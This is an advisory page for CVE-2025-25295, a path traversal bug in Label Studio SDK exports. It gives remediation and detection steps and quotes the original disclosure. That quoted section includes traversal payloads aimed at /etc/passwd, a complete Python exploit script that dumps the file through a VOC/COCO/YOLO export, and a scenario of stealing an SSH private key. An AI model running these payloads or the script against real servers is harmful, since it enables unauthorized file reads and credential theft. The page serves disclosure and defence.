CVE-2025-25295: Label Studio SDK: path traversal leaks server filesystem

GHSA-rgv9-w7jp-m23g HIGH CISA: TRACK*
Published February 14, 2025
CISO Take

Any authenticated Label Studio user — including low-privilege annotators — can read arbitrary server files (credentials, SSH keys, configs) by crafting a malicious task and triggering a VOC/COCO/YOLO export. Upgrade label-studio-sdk to 1.0.10 and Label Studio to 1.16.0 immediately. If patching is delayed, disable dataset export functionality or restrict export permissions to admins only.

What is the risk?

High severity despite no CVSS score assigned yet. Exploitability is trivial — working exploit code is public, requires only a valid user account (not admin), and produces results in seconds. Impact is significant: full filesystem read as the web server process user, potentially exposing credentials, API keys, SSH private keys, and environment files. Exposure is high for teams with shared Label Studio instances or external annotator access. The low EPSS (0.00068) reflects novelty, not difficulty.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Label Studio pip < 1.0.10 1.0.10
27.7K 1 dependents Pushed 5d ago 71% patched ~145d to patch Full package profile →

Do you use Label Studio? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
0.7%
chance of exploitation in 30 days
Higher than 49% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What should I do?

5 steps
  1. PATCH

    Upgrade label-studio-sdk >= 1.0.10 and Label Studio >= 1.16.0. Commit 4a9715c6 contains the fix.

  2. INTERIM WORKAROUND

    Restrict VOC/COCO/YOLO export to admin roles only via RBAC settings; disable download_resources=true on export API calls at the reverse proxy level.

  3. HARDEN

    Run Label Studio as a dedicated low-privilege OS user with minimal filesystem access; mount sensitive directories with noexec and restricted permissions.

  4. DETECT

    Search web logs for export API calls matching pattern /api/projects/*/export?.*download_resources=true combined with task creation events containing '../' in image fields.

  5. AUDIT

    If exploited, rotate all credentials on the Label Studio host and downstream services.

What does CISA's SSVC say?

Decision Track*
Exploitation poc
Automatable Yes
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.7.4 - Information security for AI systems
NIST AI RMF
MANAGE 2.2 - Mechanisms to sustain security of AI systems
OWASP LLM Top 10
LLM06:2025 - Excessive Agency

Frequently Asked Questions

What is CVE-2025-25295?

Any authenticated Label Studio user — including low-privilege annotators — can read arbitrary server files (credentials, SSH keys, configs) by crafting a malicious task and triggering a VOC/COCO/YOLO export. Upgrade label-studio-sdk to 1.0.10 and Label Studio to 1.16.0 immediately. If patching is delayed, disable dataset export functionality or restrict export permissions to admins only.

Is CVE-2025-25295 actively exploited?

No confirmed active exploitation of CVE-2025-25295 has been reported, but organizations should still patch proactively.

How to fix CVE-2025-25295?

1. PATCH: Upgrade label-studio-sdk >= 1.0.10 and Label Studio >= 1.16.0. Commit 4a9715c6 contains the fix. 2. INTERIM WORKAROUND: Restrict VOC/COCO/YOLO export to admin roles only via RBAC settings; disable download_resources=true on export API calls at the reverse proxy level. 3. HARDEN: Run Label Studio as a dedicated low-privilege OS user with minimal filesystem access; mount sensitive directories with noexec and restricted permissions. 4. DETECT: Search web logs for export API calls matching pattern /api/projects/*/export?.*download_resources=true combined with task creation events containing '../' in image fields. 5. AUDIT: If exploited, rotate all credentials on the Label Studio host and downstream services.

What systems are affected by CVE-2025-25295?

This vulnerability affects the following AI/ML architecture patterns: Training data pipelines, Data annotation platforms, MLOps CI/CD pipelines, Model fine-tuning workflows, Human-in-the-loop labeling systems.

What is the CVSS score for CVE-2025-25295?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

Training data pipelinesData annotation platformsMLOps CI/CD pipelinesModel fine-tuning workflowsHuman-in-the-loop labeling systems

MITRE ATLAS Techniques

AML.T0010.001 AI Software
AML.T0012 Valid Accounts
AML.T0025 Exfiltration via Cyber Means
AML.T0037 Data from Local System
AML.T0049 Exploit Public-Facing Application

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.7.4
NIST AI RMF: MANAGE 2.2
OWASP LLM Top 10: LLM06:2025

What are the technical details?

Original Advisory

## Description A path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it. The flaw exists in the VOC, COCO and YOLO export functionalites. These functions invoke a `download` function on the `label-studio-sdk` python package, which fails to validate file paths when processing image references during task exports: ```python def download( url, output_dir, filename=None, project_dir=None, return_relative_path=False, upload_dir=None, download_resources=True, ): is_local_file = url.startswith("/data/") and "?d=" in url is_uploaded_file = url.startswith("/data/upload") if is_uploaded_file: upload_dir = _get_upload_dir(project_dir, upload_dir) filename = urllib.parse.unquote(url.replace("/data/upload/", "")) filepath = os.path.join(upload_dir, filename) logger.debug( f"Copy {filepath} to {output_dir}".format( filepath=filepath, output_dir=output_dir ) ) if download_resources: shutil.copy(filepath, output_dir) if return_relative_path: return os.path.join( os.path.basename(output_dir), os.path.basename(filename) ) return filepath if is_local_file: filename, dir_path = url.split("/data/", 1)[-1].split("?d=") dir_path = str(urllib.parse.unquote(dir_path)) filepath = os.path.join(LOCAL_FILES_DOCUMENT_ROOT, dir_path) if not os.path.exists(filepath): raise FileNotFoundError(filepath) if download_resources: shutil.copy(filepath, output_dir) return filepath ``` By creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats. Note that there are two different possible code paths leading to this result, one for the `is_uploaded_file` and another one for the `is_local_file`. ## Steps to Reproduce 1. Login to Label Studio 2. Create project with image labeling configuration 3. If the `data/media/upload` directory doesn't exists yet, upload an image to force the server to create it 4. Create task with path traversal in image field 4.1. To trigger the `is_uploaded_file` code path: ```json { "data": { "text": "test", "image": "/data/upload/../../../../../etc/passwd" } } ``` 4.2. To trigger the `is_local_file` code path: ```json { "data": { "text": "test", "image": "/data/local-files/?d=../../../etc/passwd" } } ``` 6. Export project using VOC, YOLO or COCO formats. The server will return a Zip file in any of the three cases, for example: ``` GET /api/projects/1/export?exportType=VOC&download_all_tasks=true&download_resources=true ``` 7. Download the generated Zip file. The server's /etc/passwd file will be at `images/passwd` on the Zip file. Alternatively, use the following exploit code, updating the `BASE_URL`, `USERNAME` and `PASSWORD` variables. Please note that the code will attempt to create a new user, but if the user exists and the credentials are valid, it will still work. Modify `METHOD` and `EXPORT_TYPE` to test the different code paths and export formats: ```python import requests from bs4 import BeautifulSoup import io import zipfile BASE_URL = "http://xbow-app-1:8000" USERNAME = "test@test.com" PASSWORD = "Test123!@#" METHOD = "is_uploaded_file" # Valid values: "is_uploaded_file" or "is_local_file" EXPORT_TYPE = "VOC" # Valid values: "VOC", "COCO" or "YOLO" print("Signing up...") url = "%s/user/signup/" % BASE_URL session = requests.Session() # First get the CSRF token response = session.get(url) soup = BeautifulSoup(response.text, 'html.parser') csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value'] print(f"Got CSRF token: {csrf_token}") # Prepare registration data data = { 'csrfmiddlewaretoken': csrf_token, 'email': USERNAME, 'password': PASSWORD, 'allow_newsletters': 'false', 'allow_newsletters_visual': 'false' } headers = { 'Referer': url, 'Content-Type': 'application/x-www-form-urlencoded', } # Submit the registration request response = session.post(url, data=data, headers=headers) print(f"User registration response status code: {response.status_code}\n") # Login print("Logging in...") url = "%s/user/login" % BASE_URL # Attempt login with our credentials login_data = { 'csrfmiddlewaretoken': csrf_token, 'email': USERNAME, 'password': PASSWORD, } headers = { 'Referer': url, 'Content-Type': 'application/x-www-form-urlencoded', } response = session.post(url, data=login_data, headers=headers) print(f"Login response status code: {response.status_code}") # Check if we got any tokens in the response print("\nCookies after login:") for cookie in session.cookies: print(f"{cookie.name}: {cookie.value}") # We will use these headers moving forward headers = { 'Content-Type': 'application/json', 'X-CSRFToken': session.cookies['csrftoken'] } # Creat a project to then create a task associated to it print("\nCreating project...") # Try to create a project with a file upload configuration project_data = { "title": "File Upload Test", "description": "Testing file upload functionality", "label_config": """ <View> <Image name="image" value="$image"/> <Text name="text" value="$text"/> <Choices name="choice" toName="image"> <Choice value="yes"/> <Choice value="no"/> </Choices> </View> """ } response = session.post("%s/api/projects/" % BASE_URL, json=project_data, headers=headers) if response.status_code != 201: print("Problem creating project, aborting") exit(0) project_id = response.json()['id'] print(f"Project ID: {project_id}\n") # Create task using a filename to later abuse a path traversal vulnerability during file export print(f"Creating task with method {METHOD} (defaults to is_local_file)...") task_data = {} if (METHOD == "is_uploaded_file"): task_data["data"] = { "text": "test", "image": "/data/upload/../../../../../etc/passwd" # Trigger for is_uploaded_file } else: task_data["data"] = { "text": "test", "image": "/data/local-files/?d=../../../etc/passwd" # Trigger for is_local_file } response = session.post(f"{BASE_URL}/api/projects/{project_id}/tasks", json=task_data, headers=headers) if response.status_code != 201: print("Problem creating task, aborting") exit(0) task_id = response.json()['id'] print(f"Task created successfully, task id: {task_id}\n") # Issue a dummy upload request to force the creation of the ~/data/images/upload folder response = session.post(f"{BASE_URL}/api/projects/{project_id}/import?commit_to_project=false", files={"bar.png":"data"}) # Request the server to generate a zip with all of the project information and files (works for YOLO, COCO or VOC) response = session.get(f"{BASE_URL}/api/projects/{project_id}/export?exportType={EXPORT_TYPE}&download_all_tasks=true&download_resources=true") if (response.status_code != 200): print("Couldn't fetch export file") exit(0) file_like_object = io.BytesIO(response.content) zipfile_ob = zipfile.ZipFile(file_like_object) print("Dumping /etc/passwd file contents:") print(zipfile_ob.read("images/passwd").decode("utf-8")) ``` Output: ``` $ python3 studio-min.py Signing up... Got CSRF token: CQXYq1qbQ5jMG2FjQfzodC3i6weiIMq9T6lqhBQLT94sbcLKOg0ZeZxep7hPKLM6 User registration response status code: 200 Logging in... Login response status code: 200 Cookies after login: csrftoken: PsEKLHstcGIXDFCP3OGQGCwKUFOdlN33 sessionid: .eJxVj8tyhSAQRP-FtVrIQ8Dl3ecbqAEGNRqwRKvyqPx7JHUXyXKme7rnfJFrCWQkTDHlpYit1jq2AiVrgQpoqZYATvSMu540JB8TpOUTziUnu69k7BuyQTntlqcl3aPiSklquOoUZ7pnoiEWrnO2V8HD_lbVnD87B37FVIXwCmnKnc_pPBbXVUv3VEv3kgNuj6f3X8AMZb6vTaQQuaaoghCOBqFMuJ8egjdGGu4oiMCDdkpHGEQMWhoXNUM59D5Q5-_QFXG3b1hhJgy2AkXYCt51BUupzPi-L8cHGen3D57HZCg:1tbQOv:nomwczhhTvAaXMoyRrO30lWR5UkGi7AqiUHKyshQJ30 Creating project... Project ID: 10 Creating task with method is_uploaded_file (defaults to is_local_file)... Task created successfully, task id: 10 Dumping /etc/passwd file contents: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin nginx:x:999:999:nginx user:/nonexistent:/usr/sbin/nologin ``` ## Mitigations - Validate and sanitize file paths - Add an allowlist of directories and file types - Implement file access controls - Use randomized file names and secure file storage abstraction ## Impact Authentication-required vulnerability allowing arbitrary file reads from the server filesystem. Potential exposure of sensitive information like configuration files, credentials, and confidential data.

Exploitation Scenario

An external data annotator or compromised internal account authenticates to a shared Label Studio instance used for LLM fine-tuning dataset preparation. They create a project, submit a task with image field set to '/data/upload/../../../../../home/mlops/.ssh/id_rsa', then trigger a YOLO format export. The server processes the path traversal unvalidated, copies the SSH private key into a ZIP archive, and returns it in the HTTP response. The attacker now has SSH access to the MLOps engineer's account, potentially pivoting to the model training cluster, cloud storage buckets containing training data, or the model registry.

Weaknesses (CWE)

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

  • [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
  • [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.

Timeline

Published
February 14, 2025
Last Modified
February 14, 2025
First Seen
March 24, 2026

Related Vulnerabilities